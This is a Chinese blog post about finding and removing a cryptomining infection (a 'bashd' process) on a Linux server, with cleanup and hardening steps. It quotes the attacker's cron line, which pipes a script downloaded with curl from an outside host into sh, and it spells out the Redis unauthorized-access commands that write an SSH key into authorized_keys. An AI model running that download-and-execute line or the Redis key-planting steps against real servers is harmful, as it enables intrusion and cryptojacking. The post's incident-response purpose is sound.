服务器挖矿病毒的排查过程

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了服务器挖矿病毒的排查过程相关的知识,希望对你有一定的参考价值。


今天同事反馈公司的某台服务器远程连接不上,登录服务器查看后,发现CPU使用率居高不下。kill掉后,一分钟有自动生成,整个排查思路如下:

1、top 命令查看主机负载,确认可疑进程为bashd

2、确认可疑进程尝试杀掉,pkill bashd ,但发现一会就出现,怀疑有定时任务 

3、 排查定时任务,定时任务有2处可以设置,如下:

      crontab –l   发现并没有定时任务

      /etc/crontab  确实有定时任务,将其删除


4、检查开机自启动设置/etc/rc.loacl,果然放入了启动任务,将其删除。

5、 #find /-name bashd*

        /root/bashd

        /usr/sbin/bashd

查找bashd,发现有2/usr/sbin/bash 删除后1分钟自动生成,/root/bashd 删除时提示rm 命令错误,使用想到查看其权限,

#chattr –i /root/bashd

#rm –rf /root/bashd   #修改权限后可以删除了

6、可能是免密登录了,去/root/.ssh目录,果然有可疑的文件存在 bash 

7、 ssh配置文件/etc/ssh/sshd_config中也看到把authorizeKEYfile指向了这个文件(bash.猜想是这样的,通过authorized_keys免秘钥登录后,在这个目录下创建了bash文件,修改了AuthorizedKeyfile的指向,root也设置了远端登录。


那么是写进来authorized_keys的那?

应该是redis未授权导致的,也就是说外网可以直接不用密码登录我的redis, 连上redis后,通过以下命令即可创建文件:

config set dir /root/.ssh

config set dbfilenameauthorized_keys

set key value,其中value为生成公钥,即可将公钥保存在服务器,使得登录时不需要输入账号与密码。

8、 先堵住免登录漏洞

     1)、修改ssh 端口号

     2)、禁止root登录

     3)、修改无密码登陆文件的路径

     4)、删除.ssh 下的bashd

     5)、外网只映射8022,关闭其他端口。

9、经过一顿折腾,总算把漏洞堵住了,病毒也删除了,重启后观察半小时,服务器正常。


总结:大概是这样的

1)把 */1* * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh 写入crontab

2)创建免登录文件/root/.ssh/bash,修改ssh配置authorized_keys指向.ssh/bash,重启

3)curl下载/opt/KHK75NEOiq33 这个文件,并执行安装(/opt/KHK75NEOiq33--Install),然后启动bashd

 

杀毒过程:

     1)         top 检查可疑进程,pkill 杀死进程,如果进程还能存在,说明一定有定时任务或守护进程(开机启动),检查/var/spool/cron/root /etc/crontab /etc/rc.lcoal

     2)         找到可疑程序的位置将其删除,如果删除不掉,查看隐藏权限。lsattr chattr  修改权限后将其删除即可。

     3)         查看/root/.ssh/目录下是否设置了免秘钥登陆,并查看ssh_config配置文件是否被篡改。

     4)         在防火墙关闭不必要的映射端口号,重启再测试是否还会有可疑进程存在。大致就这几个方面的考虑。


     到此为止,由于时间关系就没有放截图上来。

以上是关于服务器挖矿病毒的排查过程的主要内容,如果未能解决你的问题,请参考以下文章

Window应急响应:挖矿病毒

Window应急响应:挖矿病毒

Linux服务器清除xmrig挖矿病毒详细教程

挖矿病毒watchbog处理过程

记一次挖矿病毒应急响应事件

服务器管理Ubuntu的一次惊心动魄的查杀挖矿病毒的经历:病毒伪装成python